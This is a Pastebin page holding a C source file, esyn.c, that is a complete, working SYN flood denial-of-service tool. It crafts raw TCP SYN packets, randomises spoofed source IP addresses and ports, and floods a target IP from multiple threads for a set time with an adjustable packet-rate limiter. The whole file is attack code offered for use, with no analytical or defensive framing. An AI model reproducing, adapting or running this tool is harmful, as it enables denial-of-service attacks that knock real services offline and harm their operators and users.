Advertisement
wtfbbq

esyn.c

Mar 15th, 2015
678
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.05 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20. #define MAX_PACKET_SIZE 4096
  21. #define PHI 0x9e3779b9
  22. static unsigned long int Q[4096], c = 362436;
  23. static unsigned int floodport;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27. void init_rand(unsigned long int x)
  28. {
  29.     int i;
  30.     Q[0] = x;
  31.     Q[1] = x + PHI;
  32.     Q[2] = x + PHI + PHI;
  33.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  34. }
  35. unsigned long int rand_cmwc(void)
  36. {
  37.     unsigned long long int t, a = 18782LL;
  38.     static unsigned long int i = 4095;
  39.     unsigned long int x, r = 0xfffffffe;
  40.     i = (i + 1) & 4095;
  41.     t = a * Q[i] + c;
  42.     c = (t >> 32);
  43.     x = t + c;
  44.     if (x < c) {
  45.     x++;
  46.     c++;
  47.     }
  48.     return (Q[i] = r - x);
  49. }
  50. unsigned short csum (unsigned short *buf, int count)
  51. {
  52.     register unsigned long sum = 0;
  53.     while( count > 1 ) { sum += *buf++; count -= 2; }
  54.     if(count > 0) { sum += *(unsigned char *)buf; }
  55.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  56.     return (unsigned short)(~sum);
  57. }
  58. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  59.  
  60.     struct tcp_pseudo
  61.     {
  62.     unsigned long src_addr;
  63.     unsigned long dst_addr;
  64.     unsigned char zero;
  65.     unsigned char proto;
  66.     unsigned short length;
  67.     } pseudohead;
  68.     unsigned short total_len = iph->tot_len;
  69.     pseudohead.src_addr=iph->saddr;
  70.     pseudohead.dst_addr=iph->daddr;
  71.     pseudohead.zero=0;
  72.     pseudohead.proto=IPPROTO_TCP;
  73.     pseudohead.length=htons(sizeof(struct tcphdr));
  74.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  75.     unsigned short *tcp = malloc(totaltcp_len);
  76.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  77.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  78.     unsigned short output = csum(tcp,totaltcp_len);
  79.     free(tcp);
  80.     return output;
  81. }
  82. void setup_ip_header(struct iphdr *iph)
  83. {
  84.     iph->ihl = 5;
  85.     iph->version = 4;
  86.     iph->tos = 0;
  87.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  88.     iph->id = htonl(54321);
  89.     iph->frag_off = 0;
  90.     iph->ttl = MAXTTL;
  91.     iph->protocol = 6;
  92.     iph->check = 0;
  93.     iph->saddr = inet_addr("192.168.3.100");
  94. }
  95. void setup_tcp_header(struct tcphdr *tcph)
  96. {
  97.     tcph->source = htons(5678);
  98.     tcph->seq = rand();
  99.     tcph->ack_seq = 1;
  100.     tcph->res2 = 1;
  101.     tcph->doff = 5;
  102.     tcph->syn = 1;
  103.     tcph->window = htons(65535);
  104.     tcph->check = 1;
  105.     tcph->urg_ptr = 1;
  106. }
  107. void *flood(void *par1)
  108. {
  109.     char *td = (char *)par1;
  110.     char datagram[MAX_PACKET_SIZE];
  111.     struct iphdr *iph = (struct iphdr *)datagram;
  112.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  113.     struct sockaddr_in sin;
  114.     sin.sin_family = AF_INET;
  115.     sin.sin_port = htons (rand() % 2048);
  116.     sin.sin_addr.s_addr = inet_addr(td);
  117.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  118.     if(s < 0){
  119.     fprintf(stderr, "derped.\n");
  120.     exit(-1);
  121.     }
  122.     memset(datagram, 0, MAX_PACKET_SIZE);
  123.     setup_ip_header(iph);
  124.     setup_tcp_header(tcph);
  125.     tcph->dest = htons (rand() % 2048);
  126.     iph->daddr = sin.sin_addr.s_addr;
  127.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  128.     int tmp = 1;
  129.     const int *val = &tmp;
  130.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  131.     fprintf(stderr, "Unable to allocate.\n");
  132.     exit(-1);
  133.     }
  134.     init_rand(time(NULL));
  135.     register unsigned int i;
  136.     i = 0;
  137.     while(1){
  138.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  139.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  140.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  141.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  142.     tcph->seq = rand_cmwc() & 0xFFFF;
  143.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  144.     tcph->check = 0;
  145.     tcph->check = tcpcsum(iph, tcph);
  146.     pps++;
  147.     if(i >= limiter)
  148.     {
  149.     i = 0;
  150.     usleep(sleeptime);
  151.     }
  152.     i++;
  153.     }
  154. }
  155. int main(int argc, char *argv[ ])
  156. {
  157.     if(argc < 5){
  158.     fprintf(stderr, "Invalid parameters!\n");
  159.     fprintf(stdout, "Usage: %s <IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  160.     exit(-1);
  161.     }
  162.     fprintf(stdout, "Setting up Sockets...\n");
  163.     int num_threads = atoi(argv[2]);
  164.     int maxpps = atoi(argv[3]);
  165.     limiter = 0;
  166.     pps = 0;
  167.     pthread_t thread[num_threads];
  168.     int multiplier = 20;
  169.     int i;
  170.     for(i = 0;i<num_threads;i++){
  171.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  172.     }
  173.     fprintf(stdout, "Starting Flood...\n");
  174.     for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  175.     {
  176.     usleep((1000/multiplier)*1000);
  177.     if((pps*multiplier) > maxpps)
  178.     {
  179.     if(1 > limiter)
  180.     {
  181.     sleeptime+=100;
  182.     } else {
  183.     limiter--;
  184.     }
  185.     } else {
  186.     limiter++;
  187.     if(sleeptime > 25)
  188.     {
  189.     sleeptime-=25;
  190.     } else {
  191.     sleeptime = 0;
  192.     }
  193.     }
  194.     pps = 0;
  195.     }
  196.     return 0;
  197. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement